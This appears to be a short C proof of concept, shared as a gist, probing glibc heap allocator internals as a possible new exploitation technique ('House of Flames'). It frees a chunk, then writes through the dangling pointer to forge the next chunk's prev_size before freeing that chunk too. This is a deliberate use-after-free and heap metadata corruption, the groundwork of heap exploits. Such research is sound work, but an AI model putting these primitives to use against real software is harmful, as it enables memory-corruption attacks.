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If this is turns out to be a new method, i nominate "House of Flames"
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int main(){ | |
unsigned long* a = malloc(0x508); | |
unsigned long* b = malloc(0x508); | |
memset(a,'A',0x508); | |
memset(b,'B',0x508); | |
printf("################ A: %lx\n",a); | |
printf("################ B: %lx\n",b); | |
printf("################ A->size: %llx\n",*(a-1)); | |
printf("################ A->prev_size: %llx\n",*(a-2)); | |
printf("################ B->size: %llx\n",*(b-1)); | |
printf("################ B->prev_size: %llx\n",*(b-2)); | |
printf("free(a)\n");free(a); | |
printf("################ A->size: %llx\n",*(a-1)); | |
printf("################ A->prev_size: %llx\n",*(a-2)); | |
printf("################ A->f: %llx\n",*(a)); | |
printf("################ A->b: %llx\n",*(a+1)); | |
printf("################ B->size: %llx\n",*(b-1)); | |
printf("################ B->prev_size: %llx\n\n\n",*(b-2)); | |
unsigned long last_byte_of_data = 0x508/8-1; | |
a[last_byte_of_data] = 0xdeadbeef; | |
printf("Set B->prev_size\n"); | |
printf("################ A->size: %llx\n",*(a-1)); | |
printf("################ A->prev_size: %llx\n",*(a-2)); | |
printf("################ B->f: %llx\n",*(b)); | |
printf("################ B->b: %llx\n",*(b+1)); | |
printf("################ B->size: %llx\n",*(b-1)); | |
printf("################ B->prev_size: %llx\n",*(b-2)); | |
printf("free(b)\n");free(b); | |
printf("################ A->size: %llx\n",*(a-1)); | |
printf("################ A->prev_size: %llx\n",*(a-2)); | |
printf("################ B->f: %llx\n",*(b)); | |
printf("################ B->b: %llx\n",*(b+1)); | |
printf("################ B->size: %llx\n",*(b-1)); | |
printf("################ B->prev_size: %llx\n",*(b-2)); | |
} |
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